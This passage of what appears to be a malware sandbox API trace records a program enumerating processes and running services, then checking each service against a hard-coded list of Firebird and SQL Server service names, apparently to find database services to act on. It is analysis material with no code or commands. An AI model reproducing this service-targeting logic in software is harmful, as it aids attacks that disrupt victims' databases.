cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0055.568] lstrlenW (lpString="understood.exe") returned 14 [0055.569] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0055.569] lstrlenW (lpString="lee.exe") returned 7 [0055.569] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0055.570] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0055.570] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0055.571] lstrlenW (lpString="romandisclosure.exe") returned 19 [0055.571] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0055.572] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0055.572] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0055.573] lstrlenW (lpString="dllhost.exe") returned 11 [0055.573] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0055.574] lstrlenW (lpString="product.exe") returned 11 [0055.574] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0055.575] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0055.575] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0055.576] lstrlenW (lpString="basin.exe") returned 9 [0055.576] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0055.577] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0055.577] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0055.578] lstrlenW (lpString="tested housewives.exe") returned 21 [0055.578] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.578] lstrlenW (lpString="conhost.exe") returned 11 [0055.578] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.579] lstrlenW (lpString="conhost.exe") returned 11 [0055.579] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.580] lstrlenW (lpString="svchost.exe") returned 11 [0055.580] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0055.581] lstrlenW (lpString="wmxsde.exe") returned 10 [0055.581] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0055.582] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0055.582] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.583] lstrlenW (lpString="conhost.exe") returned 11 [0055.583] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.583] lstrlenW (lpString="cmd.exe") returned 7 [0055.584] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.584] lstrlenW (lpString="conhost.exe") returned 11 [0055.584] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0055.585] CloseHandle (hObject=0x2e8) returned 1 [0055.585] Sleep (dwMilliseconds=0x1f4) [0056.768] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded18 [0056.769] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0056.772] GetLastError () returned 0xea [0056.772] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1dba) returned 0x7010e0 [0056.773] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7010e0, cbBufSize=0x1dba, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7010e0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0056.774] CloseServiceHandle (hSCObject=0x6ded18) returned 1 [0056.774] lstrlenW (lpString="Appinfo") returned 7 [0056.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.774] lstrlenW (lpString="AppXSvc") returned 7 [0056.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0056.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0056.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0056.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0056.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0056.774] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.775] lstrlenW (lpString="Audiosrv") returned 8 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0056.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0056.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0056.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0056.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0056.775] lstrlenW (lpString="BFE") returned 3 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.775] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.775] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.775] lstrlenW (lpString="BITS") returned 4 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0056.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0056.775] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0056.775] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0056.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0056.775] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0056.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0056.775] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0056.775] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0056.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0056.775] lstrlenW (lpString="CDPSvc") returned 6 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0056.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0056.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0056.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0056.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0056.775] lstrlenW (lpString="ClickToRunSvc") returned 13 [0056.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0056.776] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0056.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0056.776] lstrlenW (lpString="CryptSvc") returned 8 [0056.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.776] lstrlenW (lpString="DcomLaunch") returned 10 [0056.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.776] lstrlenW (lpString="DeviceAssociationService") returned 24 [0056.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0056.776] lstrlenW (lpString="Dhcp") returned 4 [0056.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.777] lstrlenW (lpString="Dnscache") returned 8 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.777] lstrlenW (lpString="DoSvc") returned 5 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0056.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0056.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0056.777] lstrlenW (lpString="DPS") returned 3 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.777] lstrlenW (lpString="DusmSvc") returned 7 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0056.777] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0056.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0056.777] lstrlenW (lpString="EventLog") returned 8 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0056.777] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0056.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0056.777] lstrlenW (lpString="EventSystem") returned 11 [0056.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.777] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.778] lstrlenW (lpString="FontCache") returned 9 [0056.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0056.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0056.778] lstrlenW (lpString="gpsvc") returned 5 [0056.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.778] lstrlenW (lpString="iphlpsvc") returned 8 [0056.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.778] lstrlenW (lpString="KeyIso") returned 6 [0056.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0056.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0056.778] lstrlenW (lpString="LanmanServer") returned 12 [0056.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.778] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.779] lstrlenW (lpString="lfsvc") returned 5 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0056.779] lstrlenW (lpString="lmhosts") returned 7 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.779] lstrlenW (lpString="LSM") returned 3 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0056.779] lstrlenW (lpString="MapsBroker") returned 10 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0056.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0056.779] lstrlenW (lpString="MpsSvc") returned 6 [0056.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.780] lstrlenW (lpString="NcbService") returned 10 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0056.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0056.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0056.780] lstrlenW (lpString="netprofm") returned 8 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.780] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.780] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.780] lstrlenW (lpString="NgcSvc") returned 6 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0056.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0056.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0056.780] lstrlenW (lpString="NlaSvc") returned 6 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.780] lstrlenW (lpString="nsi") returned 3 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.780] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.780] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.780] lstrlenW (lpString="PcaSvc") returned 6 [0056.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.781] lstrlenW (lpString="PlugPlay") returned 8 [0056.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") 